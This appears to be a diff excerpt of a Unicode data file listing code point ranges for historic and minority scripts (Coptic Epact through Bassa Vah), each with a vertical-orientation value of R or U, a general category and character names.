-102E0 ; R # Mn COPTIC EPACT THOUSANDS MARK -102E1..102FB ; R # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED -10300..1031F ; R # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -10320..10323 ; R # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..1032F ; R # Lo [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE -10330..10340 ; R # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA -10341 ; R # Nl GOTHIC LETTER NINETY -10342..10349 ; R # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL -1034A ; R # Nl GOTHIC LETTER NINE HUNDRED -10350..10375 ; R # Lo [38] OLD PERMIC LETTER AN..OLD PERMIC LETTER IA -10376..1037A ; R # Mn [5] COMBINING OLD PERMIC LETTER AN..COMBINING OLD PERMIC LETTER SII -10380..1039D ; R # Lo [30] UGARITIC LETTER ALPA..UGARITIC LETTER SSU -1039F ; R # Po UGARITIC WORD DIVIDER -103A0..103C3 ; R # Lo [36] OLD PERSIAN SIGN A..OLD PERSIAN SIGN HA -103C8..103CF ; R # Lo [8] OLD PERSIAN SIGN AURAMAZDAA..OLD PERSIAN SIGN BUUMISH -103D0 ; R # Po OLD PERSIAN WORD DIVIDER -103D1..103D5 ; R # Nl [5] OLD PERSIAN NUMBER ONE..OLD PERSIAN NUMBER HUNDRED -10400..1044F ; R # L& [80] DESERET CAPITAL LETTER LONG I..DESERET SMALL LETTER EW -10450..1047F ; R # Lo [48] SHAVIAN LETTER PEEP..SHAVIAN LETTER YEW -10480..1049D ; R # Lo [30] OSMANYA LETTER ALEF..OSMANYA LETTER OO -104A0..104A9 ; R # Nd [10] OSMANYA DIGIT ZERO..OSMANYA DIGIT NINE -104B0..104D3 ; R # Lu [36] OSAGE CAPITAL LETTER A..OSAGE CAPITAL LETTER ZHA -104D8..104FB ; R # Ll [36] OSAGE SMALL LETTER A..OSAGE SMALL LETTER ZHA -10500..10527 ; R # Lo [40] ELBASAN LETTER A..ELBASAN LETTER KHE -10530..10563 ; R # Lo [52] CAUCASIAN ALBANIAN LETTER ALT..CAUCASIAN ALBANIAN LETTER KIW -1056F ; R # Po CAUCASIAN ALBANIAN CITATION MARK -10600..10736 ; R # Lo [311] LINEAR A SIGN AB001..LINEAR A SIGN A664 -10740..10755 ; R # Lo [22] LINEAR A SIGN A701 A..LINEAR A SIGN A732 JE -10760..10767 ; R # Lo [8] LINEAR A SIGN A800..LINEAR A SIGN A807 -10800..10805 ; R # Lo [6] CYPRIOT SYLLABLE A..CYPRIOT SYLLABLE JA -10808 ; R # Lo CYPRIOT SYLLABLE JO -1080A..10835 ; R # Lo [44] CYPRIOT SYLLABLE KA..CYPRIOT SYLLABLE WO -10837..10838 ; R # Lo [2] CYPRIOT SYLLABLE XA..CYPRIOT SYLLABLE XE -1083C ; R # Lo CYPRIOT SYLLABLE ZA -1083F ; R # Lo CYPRIOT SYLLABLE ZO -10840..10855 ; R # Lo [22] IMPERIAL ARAMAIC LETTER ALEPH..IMPERIAL ARAMAIC LETTER TAW -10857 ; R # Po IMPERIAL ARAMAIC SECTION SIGN -10858..1085F ; R # No [8] IMPERIAL ARAMAIC NUMBER ONE..IMPERIAL ARAMAIC NUMBER TEN THOUSAND -10860..10876 ; R # Lo [23] PALMYRENE LETTER ALEPH..PALMYRENE LETTER TAW -10877..10878 ; R # So [2] PALMYRENE LEFT-POINTING FLEURON..PALMYRENE RIGHT-POINTING FLEURON -10879..1087F ; R # No [7] PALMYRENE NUMBER ONE..PALMYRENE NUMBER TWENTY -10880..1089E ; R # Lo [31] NABATAEAN LETTER FINAL ALEPH..NABATAEAN LETTER TAW -108A7..108AF ; R # No [9] NABATAEAN NUMBER ONE..NABATAEAN NUMBER ONE HUNDRED -108E0..108F2 ; R # Lo [19] HATRAN LETTER ALEPH..HATRAN LETTER QOPH -108F4..108F5 ; R # Lo [2] HATRAN LETTER SHIN..HATRAN LETTER TAW -108FB..108FF ; R # No [5] HATRAN NUMBER ONE..HATRAN NUMBER ONE HUNDRED -10900..10915 ; R # Lo [22] PHOENICIAN LETTER ALF..PHOENICIAN LETTER TAU -10916..1091B ; R # No [6] PHOENICIAN NUMBER ONE..PHOENICIAN NUMBER THREE -1091F ; R # Po PHOENICIAN WORD SEPARATOR -10920..10939 ; R # Lo [26] LYDIAN LETTER A..LYDIAN LETTER C -1093F ; R # Po LYDIAN TRIANGULAR MARK -10980..1099F ; U # Lo [32] MEROITIC HIEROGLYPHIC LETTER A..MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2 -109A0..109B7 ; R # Lo [24] MEROITIC CURSIVE LETTER A..MEROITIC CURSIVE LETTER DA -109BC..109BD ; R # No [2] MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS..MEROITIC CURSIVE FRACTION ONE HALF -109BE..109BF ; R # Lo [2] MEROITIC CURSIVE LOGOGRAM RMT..MEROITIC CURSIVE LOGOGRAM IMN -109C0..109CF ; R # No [16] MEROITIC CURSIVE NUMBER ONE..MEROITIC CURSIVE NUMBER SEVENTY -109D2..109FF ; R # No [46] MEROITIC CURSIVE NUMBER ONE HUNDRED..MEROITIC CURSIVE FRACTION TEN TWELFTHS -10A00 ; R # Lo KHAROSHTHI LETTER A -10A01..10A03 ; R # Mn [3] KHAROSHTHI VOWEL SIGN I..KHAROSHTHI VOWEL SIGN VOCALIC R -10A05..10A06 ; R # Mn [2] KHAROSHTHI VOWEL SIGN E..KHAROSHTHI VOWEL SIGN O -10A0C..10A0F ; R # Mn [4] KHAROSHTHI VOWEL LENGTH MARK..KHAROSHTHI SIGN VISARGA -10A10..10A13 ; R # Lo [4] KHAROSHTHI LETTER KA..KHAROSHTHI LETTER GHA -10A15..10A17 ; R # Lo [3] KHAROSHTHI LETTER CA..KHAROSHTHI LETTER JA -10A19..10A33 ; R # Lo [27] KHAROSHTHI LETTER NYA..KHAROSHTHI LETTER TTTHA -10A38..10A3A ; R # Mn [3] KHAROSHTHI SIGN BAR ABOVE..KHAROSHTHI SIGN DOT BELOW -10A3F ; R # Mn KHAROSHTHI VIRAMA -10A40..10A47 ; R # No [8] KHAROSHTHI DIGIT ONE..KHAROSHTHI NUMBER ONE THOUSAND -10A50..10A58 ; R # Po [9] KHAROSHTHI PUNCTUATION DOT..KHAROSHTHI PUNCTUATION LINES -10A60..10A7C ; R # Lo [29] OLD SOUTH ARABIAN LETTER HE..OLD SOUTH ARABIAN LETTER THETH -10A7D..10A7E ; R # No [2] OLD SOUTH ARABIAN NUMBER ONE..OLD SOUTH ARABIAN NUMBER FIFTY -10A7F ; R # Po OLD SOUTH ARABIAN NUMERIC INDICATOR -10A80..10A9C ; R # Lo [29] OLD NORTH ARABIAN LETTER HEH..OLD NORTH ARABIAN LETTER ZAH -10A9D..10A9F ; R # No [3] OLD NORTH ARABIAN NUMBER ONE..OLD NORTH ARABIAN NUMBER TWENTY -10AC0..10AC7 ; R # Lo [8] MANICHAEAN LETTER ALEPH..MANICHAEAN LETTER WAW -10AC8 ; R # So MANICHAEAN SIGN UD -10AC9..10AE4 ; R # Lo [28] MANICHAEAN LETTER ZAYIN..MANICHAEAN LETTER TAW -10AE5..10AE6 ; R # Mn [2] MANICHAEAN ABBREVIATION MARK ABOVE..MANICHAEAN ABBREVIATION MARK BELOW -10AEB..10AEF ; R # No [5] MANICHAEAN NUMBER ONE..MANICHAEAN NUMBER ONE HUNDRED -10AF0..10AF6 ; R # Po [7] MANICHAEAN PUNCTUATION STAR..MANICHAEAN PUNCTUATION LINE FILLER -10B00..10B35 ; R # Lo [54] AVESTAN LETTER A..AVESTAN LETTER HE -10B39..10B3F ; R # Po [7] AVESTAN ABBREVIATION MARK..LARGE ONE RING OVER TWO RINGS PUNCTUATION -10B40..10B55 ; R # Lo [22] INSCRIPTIONAL PARTHIAN LETTER ALEPH..INSCRIPTIONAL PARTHIAN LETTER TAW -10B58..10B5F ; R # No [8] INSCRIPTIONAL PARTHIAN NUMBER ONE..INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND -10B60..10B72 ; R # Lo [19] INSCRIPTIONAL PAHLAVI LETTER ALEPH..INSCRIPTIONAL PAHLAVI LETTER TAW -10B78..10B7F ; R # No [8] INSCRIPTIONAL PAHLAVI NUMBER ONE..INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND -10B80..10B91 ; R # Lo [18] PSALTER PAHLAVI LETTER ALEPH..PSALTER PAHLAVI LETTER TAW -10B99..10B9C ; R # Po [4] PSALTER PAHLAVI SECTION MARK..PSALTER PAHLAVI FOUR DOTS WITH DOT -10BA9..10BAF ; R # No [7] PSALTER PAHLAVI NUMBER ONE..PSALTER PAHLAVI NUMBER ONE HUNDRED -10C00..10C48 ; R # Lo [73] OLD TURKIC LETTER ORKHON A..OLD TURKIC LETTER ORKHON BASH -10C80..10CB2 ; R # Lu [51] OLD HUNGARIAN CAPITAL LETTER A..OLD HUNGARIAN CAPITAL LETTER US -10CC0..10CF2 ; R # Ll [51] OLD HUNGARIAN SMALL LETTER A..OLD HUNGARIAN SMALL LETTER US -10CFA..10CFF ; R # No [6] OLD HUNGARIAN NUMBER ONE..OLD HUNGARIAN NUMBER ONE THOUSAND -10E60..10E7E ; R # No [31] RUMI DIGIT ONE..RUMI FRACTION TWO THIRDS -11000 ; R # Mc BRAHMI SIGN CANDRABINDU -11001 ; R # Mn BRAHMI SIGN ANUSVARA -11002 ; R # Mc BRAHMI SIGN VISARGA -11003..11037 ; R # Lo [53] BRAHMI SIGN JIHVAMULIYA..BRAHMI LETTER OLD TAMIL NNNA -11038..11046 ; R # Mn [15] BRAHMI VOWEL SIGN AA..BRAHMI VIRAMA -11047..1104D ; R # Po [7] BRAHMI DANDA..BRAHMI PUNCTUATION LOTUS -11052..11065 ; R # No [20] BRAHMI NUMBER ONE..BRAHMI NUMBER ONE THOUSAND -11066..1106F ; R # Nd [10] BRAHMI DIGIT ZERO..BRAHMI DIGIT NINE -1107F ; R # Mn BRAHMI NUMBER JOINER -11080..11081 ; R # Mn [2] KAITHI SIGN CANDRABINDU..KAITHI SIGN ANUSVARA -11082 ; R # Mc KAITHI SIGN VISARGA -11083..110AF ; R # Lo [45] KAITHI LETTER A..KAITHI LETTER HA -110B0..110B2 ; R # Mc [3] KAITHI VOWEL SIGN AA..KAITHI VOWEL SIGN II -110B3..110B6 ; R # Mn [4] KAITHI VOWEL SIGN U..KAITHI VOWEL SIGN AI -110B7..110B8 ; R # Mc [2] KAITHI VOWEL SIGN O..KAITHI VOWEL SIGN AU -110B9..110BA ; R # Mn [2] KAITHI SIGN VIRAMA..KAITHI SIGN NUKTA -110BB..110BC ; R # Po [2] KAITHI ABBREVIATION SIGN..KAITHI ENUMERATION SIGN -110BD ; R # Cf KAITHI NUMBER SIGN -110BE..110C1 ; R # Po [4] KAITHI SECTION MARK..KAITHI DOUBLE DANDA -110D0..110E8 ; R # Lo [25] SORA SOMPENG LETTER SAH..SORA SOMPENG LETTER MAE -110F0..110F9 ; R # Nd [10] SORA SOMPENG DIGIT ZERO..SORA SOMPENG DIGIT NINE -11100..11102 ; R # Mn [3] CHAKMA SIGN CANDRABINDU..CHAKMA SIGN VISARGA -11103..11126 ; R # Lo [36] CHAKMA LETTER AA..CHAKMA LETTER HAA -11127..1112B ; R # Mn [5] CHAKMA VOWEL SIGN A..CHAKMA VOWEL SIGN UU -1112C ; R # Mc CHAKMA VOWEL SIGN E -1112D..11134 ; R # Mn [8] CHAKMA VOWEL SIGN AI..CHAKMA MAAYYAA -11136..1113F ; R # Nd [10] CHAKMA DIGIT ZERO..CHAKMA DIGIT NINE -11140..11143 ; R # Po [4] CHAKMA SECTION MARK..CHAKMA QUESTION MARK -11150..11172 ; R # Lo [35] MAHAJANI LETTER A..MAHAJANI LETTER RRA -11173 ; R # Mn MAHAJANI SIGN NUKTA -11174..11175 ; R # Po [2] MAHAJANI ABBREVIATION SIGN..MAHAJANI SECTION MARK -11176 ; R # Lo MAHAJANI LIGATURE SHRI -11180..11181 ; R # Mn [2] SHARADA SIGN CANDRABINDU..SHARADA SIGN ANUSVARA -11182 ; R # Mc SHARADA SIGN VISARGA -11183..111B2 ; R # Lo [48] SHARADA LETTER A..SHARADA LETTER HA -111B3..111B5 ; R # Mc [3] SHARADA VOWEL SIGN AA..SHARADA VOWEL SIGN II -111B6..111BE ; R # Mn [9] SHARADA VOWEL SIGN U..SHARADA VOWEL SIGN O -111BF..111C0 ; R # Mc [2] SHARADA VOWEL SIGN AU..SHARADA SIGN VIRAMA -111C1..111C4 ; R # Lo [4] SHARADA SIGN AVAGRAHA..SHARADA OM -111C5..111C9 ; R # Po [5] SHARADA DANDA..SHARADA SANDHI MARK -111CA..111CC ; R # Mn [3] SHARADA SIGN NUKTA..SHARADA EXTRA SHORT VOWEL MARK -111CD ; R # Po SHARADA SUTRA MARK -111D0..111D9 ; R # Nd [10] SHARADA DIGIT ZERO..SHARADA DIGIT NINE -111DA ; R # Lo SHARADA EKAM -111DB ; R # Po SHARADA SIGN SIDDHAM -111DC ; R # Lo SHARADA HEADSTROKE -111DD..111DF ; R # Po [3] SHARADA CONTINUATION SIGN..SHARADA SECTION MARK-2 -111E1..111F4 ; R # No [20] SINHALA ARCHAIC DIGIT ONE..SINHALA ARCHAIC NUMBER ONE THOUSAND -11200..11211 ; R # Lo [18] KHOJKI LETTER A..KHOJKI LETTER JJA -11213..1122B ; R # Lo [25] KHOJKI LETTER NYA..KHOJKI LETTER LLA -1122C..1122E ; R # Mc [3] KHOJKI VOWEL SIGN AA..KHOJKI VOWEL SIGN II -1122F..11231 ; R # Mn [3] KHOJKI VOWEL SIGN U..KHOJKI VOWEL SIGN AI -11232..11233 ; R # Mc [2] KHOJKI VOWEL SIGN O..KHOJKI VOWEL SIGN AU -11234 ; R # Mn KHOJKI SIGN ANUSVARA -11235 ; R # Mc KHOJKI SIGN VIRAMA -11236..11237 ; R # Mn [2] KHOJKI SIGN NUKTA..KHOJKI SIGN SHADDA -11238..1123D ; R # Po [6] KHOJKI DANDA..KHOJKI ABBREVIATION SIGN -1123E ; R # Mn KHOJKI SIGN SUKUN -11280..11286 ; R # Lo [7] MULTANI LETTER A..MULTANI LETTER GA -11288 ; R # Lo MULTANI LETTER GHA -1128A..1128D ; R # Lo [4] MULTANI LETTER CA..MULTANI LETTER JJA -1128F..1129D ; R # Lo [15] MULTANI LETTER NYA..MULTANI LETTER BA -1129F..112A8 ; R # Lo [10] MULTANI LETTER BHA..MULTANI LETTER RHA -112A9 ; R # Po MULTANI SECTION MARK -112B0..112DE ; R # Lo [47] KHUDAWADI LETTER A..KHUDAWADI LETTER HA -112DF ; R # Mn KHUDAWADI SIGN ANUSVARA -112E0..112E2 ; R # Mc [3] KHUDAWADI VOWEL SIGN AA..KHUDAWADI VOWEL SIGN II -112E3..112EA ; R # Mn [8] KHUDAWADI VOWEL SIGN U..KHUDAWADI SIGN VIRAMA -112F0..112F9 ; R # Nd [10] KHUDAWADI DIGIT ZERO..KHUDAWADI DIGIT NINE -11300..11301 ; R # Mn [2] GRANTHA SIGN COMBINING ANUSVARA ABOVE..GRANTHA SIGN CANDRABINDU -11302..11303 ; R # Mc [2] GRANTHA SIGN ANUSVARA..GRANTHA SIGN VISARGA -11305..1130C ; R # Lo [8] GRANTHA LETTER A..GRANTHA LETTER VOCALIC L -1130F..11310 ; R # Lo [2] GRANTHA LETTER EE..GRANTHA LETTER AI -11313..11328 ; R # Lo [22] GRANTHA LETTER OO..GRANTHA LETTER NA -1132A..11330 ; R # Lo [7] GRANTHA LETTER PA..GRANTHA LETTER RA -11332..11333 ; R # Lo [2] GRANTHA LETTER LA..GRANTHA LETTER LLA -11335..11339 ; R # Lo [5] GRANTHA LETTER VA..GRANTHA LETTER HA -1133C ; R # Mn GRANTHA SIGN NUKTA -1133D ; R # Lo GRANTHA SIGN AVAGRAHA -1133E..1133F ; R # Mc [2] GRANTHA VOWEL SIGN AA..GRANTHA VOWEL SIGN I -11340 ; R # Mn GRANTHA VOWEL SIGN II -11341..11344 ; R # Mc [4] GRANTHA VOWEL SIGN U..GRANTHA VOWEL SIGN VOCALIC RR -11347..11348 ; R # Mc [2] GRANTHA VOWEL SIGN EE..GRANTHA VOWEL SIGN AI -1134B..1134D ; R # Mc [3] GRANTHA VOWEL SIGN OO..GRANTHA SIGN VIRAMA -11350 ; R # Lo GRANTHA OM -11357 ; R # Mc GRANTHA AU LENGTH MARK -1135D..11361 ; R # Lo [5] GRANTHA SIGN PLUTA..GRANTHA LETTER VOCALIC LL -11362..11363 ; R # Mc [2] GRANTHA VOWEL SIGN VOCALIC L..GRANTHA VOWEL SIGN VOCALIC LL -11366..1136C ; R # Mn [7] COMBINING GRANTHA DIGIT ZERO..COMBINING GRANTHA DIGIT SIX -11370..11374 ; R # Mn [5] COMBINING GRANTHA LETTER A..COMBINING GRANTHA LETTER PA -11400..11434 ; R # Lo [53] NEWA LETTER A..NEWA LETTER HA -11435..11437 ; R # Mc [3] NEWA VOWEL SIGN AA..NEWA VOWEL SIGN II -11438..1143F ; R # Mn [8] NEWA VOWEL SIGN U..NEWA VOWEL SIGN AI -11440..11441 ; R # Mc [2] NEWA VOWEL SIGN O..NEWA VOWEL SIGN AU -11442..11444 ; R # Mn [3] NEWA SIGN VIRAMA..NEWA SIGN ANUSVARA -11445 ; R # Mc NEWA SIGN VISARGA -11446 ; R # Mn NEWA SIGN NUKTA -11447..1144A ; R # Lo [4] NEWA SIGN AVAGRAHA..NEWA SIDDHI -1144B..1144F ; R # Po [5] NEWA DANDA..NEWA ABBREVIATION SIGN -11450..11459 ; R # Nd [10] NEWA DIGIT ZERO..NEWA DIGIT NINE -1145B ; R # Po NEWA PLACEHOLDER MARK -1145D ; R # Po NEWA INSERTION SIGN -11480..114AF ; R # Lo [48] TIRHUTA ANJI..TIRHUTA LETTER HA -114B0..114B2 ; R # Mc [3] TIRHUTA VOWEL SIGN AA..TIRHUTA VOWEL SIGN II -114B3..114B8 ; R # Mn [6] TIRHUTA VOWEL SIGN U..TIRHUTA VOWEL SIGN VOCALIC LL -114B9 ; R # Mc TIRHUTA VOWEL SIGN E -114BA ; R # Mn TIRHUTA VOWEL SIGN SHORT E -114BB..114BE ; R # Mc [4] TIRHUTA VOWEL SIGN AI..TIRHUTA VOWEL SIGN AU -114BF..114C0 ; R # Mn [2] TIRHUTA SIGN CANDRABINDU..TIRHUTA SIGN ANUSVARA -114C1 ; R # Mc TIRHUTA SIGN VISARGA -114C2..114C3 ; R # Mn [2] TIRHUTA SIGN VIRAMA..TIRHUTA SIGN NUKTA -114C4..114C5 ; R # Lo [2] TIRHUTA SIGN AVAGRAHA..TIRHUTA GVANG -114C6 ; R # Po TIRHUTA ABBREVIATION SIGN -114C7 ; R # Lo TIRHUTA OM -114D0..114D9 ; R # Nd [10] TIRHUTA DIGIT ZERO..TIRHUTA DIGIT NINE -11580..115AE ; U # Lo [47] SIDDHAM LETTER A..SIDDHAM LETTER HA -115AF..115B1 ; U # Mc [3] SIDDHAM VOWEL SIGN AA..SIDDHAM VOWEL SIGN II -115B2..115B5 ; U # Mn [4] SIDDHAM VOWEL SIGN U..SIDDHAM VOWEL SIGN VOCALIC RR -115B6..115B7 ; U # Cn [2] .. -115B8..115BB ; U # Mc [4] SIDDHAM VOWEL SIGN E..SIDDHAM VOWEL SIGN AU -115BC..115BD ; U # Mn [2] SIDDHAM SIGN CANDRABINDU..SIDDHAM SIGN ANUSVARA -115BE ; U # Mc SIDDHAM SIGN VISARGA -115BF..115C0 ; U # Mn [2] SIDDHAM SIGN VIRAMA..SIDDHAM SIGN NUKTA -115C1..115D7 ; U # Po [23] SIDDHAM SIGN SIDDHAM..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES -115D8..115DB ; U # Lo [4] SIDDHAM LETTER THREE-CIRCLE ALTERNATE I..SIDDHAM LETTER ALTERNATE U -115DC..115DD ; U # Mn [2] SIDDHAM VOWEL SIGN ALTERNATE U..SIDDHAM VOWEL SIGN ALTERNATE UU -115DE..115FF ; U # Cn [34] .. -11600..1162F ; R # Lo [48] MODI LETTER A..MODI LETTER LLA -11630..11632 ; R # Mc [3] MODI VOWEL SIGN AA..MODI VOWEL SIGN II -11633..1163A ; R # Mn [8] MODI VOWEL SIGN U..MODI VOWEL SIGN AI -1163B..1163C ; R # Mc [2] MODI VOWEL SIGN O..MODI VOWEL SIGN AU -1163D ; R # Mn MODI SIGN ANUSVARA -1163E ; R # Mc MODI SIGN VISARGA -1163F..11640 ; R # Mn [2] MODI SIGN VIRAMA..MODI SIGN ARDHACANDRA -11641..11643 ; R # Po [3] MODI DANDA..MODI ABBREVIATION SIGN -11644 ; R # Lo MODI SIGN HUVA -11650..11659 ; R # Nd [10] MODI DIGIT ZERO..MODI DIGIT NINE -11660..1166C ; R # Po [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT -11680..116AA ; R # Lo [43] TAKRI LETTER A..TAKRI LETTER RRA -116AB ; R # Mn TAKRI SIGN ANUSVARA -116AC ; R # Mc TAKRI SIGN VISARGA -116AD ; R # Mn TAKRI VOWEL SIGN AA -116AE..116AF ; R # Mc [2] TAKRI VOWEL SIGN I..TAKRI VOWEL SIGN II -116B0..116B5 ; R # Mn [6] TAKRI VOWEL SIGN U..TAKRI VOWEL SIGN AU -116B6 ; R # Mc TAKRI SIGN VIRAMA -116B7 ; R # Mn TAKRI SIGN NUKTA -116C0..116C9 ; R # Nd [10] TAKRI DIGIT ZERO..TAKRI DIGIT NINE -11700..11719 ; R # Lo [26] AHOM LETTER KA..AHOM LETTER JHA -1171D..1171F ; R # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA -11720..11721 ; R # Mc [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA -11722..11725 ; R # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU -11726 ; R # Mc AHOM VOWEL SIGN E -11727..1172B ; R # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11730..11739 ; R # Nd [10] AHOM DIGIT ZERO..AHOM DIGIT NINE -1173A..1173B ; R # No [2] AHOM NUMBER TEN..AHOM NUMBER TWENTY -1173C..1173E ; R # Po [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI -1173F ; R # So AHOM SYMBOL VI -118A0..118DF ; R # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO -118E0..118E9 ; R # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE -118EA..118F2 ; R # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY -118FF ; R # Lo WARANG CITI OM -11A00 ; U # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; U # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; U # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; U # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; U # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38 ; U # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; U # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; U # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; U # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A3F..11A46 ; U # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A47 ; U # Mn ZANABAZAR SQUARE SUBJOINER -11A48..11A4F ; U # Cn [8] .. -11A50 ; U # Lo SOYOMBO LETTER A -11A51..11A56 ; U # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; U # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; U # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; U # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A84..11A85 ; U # Cn [2] .. -11A86..11A89 ; U # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; U # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; U # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; U # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER -11A9A..11A9C ; U # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9D ; U # Cn -11A9E..11AA2 ; U # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 -11AA3..11AAF ; U # Cn [13] .. -11AC0..11AF8 ; R # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL -11C00..11C08 ; R # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L -11C0A..11C2E ; R # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA -11C2F ; R # Mc BHAIKSUKI VOWEL SIGN AA -11C30..11C36 ; R # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L -11C38..11C3D ; R # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA -11C3E ; R # Mc BHAIKSUKI SIGN VISARGA -11C3F ; R # Mn BHAIKSUKI SIGN VIRAMA -11C40 ; R # Lo BHAIKSUKI SIGN AVAGRAHA -11C41..11C45 ; R # Po [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2 -11C50..11C59 ; R # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE -11C5A..11C6C ; R # No [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK -11C70..11C71 ; R # Po [2] MARCHEN HEAD MARK..MARCHEN MARK SHAD -11C72..11C8F ; R # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11C92..11CA7 ; R # Mn [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA -11CA9 ; R # Mc MARCHEN SUBJOINED LETTER YA -11CAA..11CB0 ; R # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA -11CB1 ; R # Mc MARCHEN VOWEL SIGN I -11CB2..11CB3 ; R # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E -11CB4 ; R # Mc MARCHEN VOWEL SIGN O -11CB5..11CB6 ; R # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06 ; R # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; R # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; R # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; R # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; R # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; R # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; R # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46 ; R # Lo MASARAM GONDI REPHA -11D47 ; R # Mn MASARAM GONDI RA-KARA -11D50..11D59 ; R # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE -12000..12399 ; R # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U -12400..1246E ; R # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM -12470..12474 ; R # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON -12480..12543 ; R # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU -13000..1342E ; U # Lo [1071] EGYPTIAN HIEROGLYPH A001..EGYPTIAN HIEROGLYPH AA032 -1342F ; U # Cn -14400..14646 ; U # Lo [583] ANATOLIAN HIEROGLYPH A001..ANATOLIAN HIEROGLYPH A530 -14647..1467F ; U # Cn [57] .. -16800..16A38 ; R # Lo [569] BAMUM LETTER PHASE-A NGKUE MFON..BAMUM LETTER PHASE-F VUEQ -16A40..16A5E ; R # Lo [31] MRO LETTER TA..MRO LETTER TEK -16A60..16A69 ; R # Nd [10] MRO DIGIT ZERO..MRO DIGIT NINE -16A6E..16A6F ; R # Po [2] MRO DANDA..MRO DOUBLE DANDA -16AD0..16AED ; R # Lo [30] BASSA VAH LETTER ENNI..BASSA VAH LETTER I 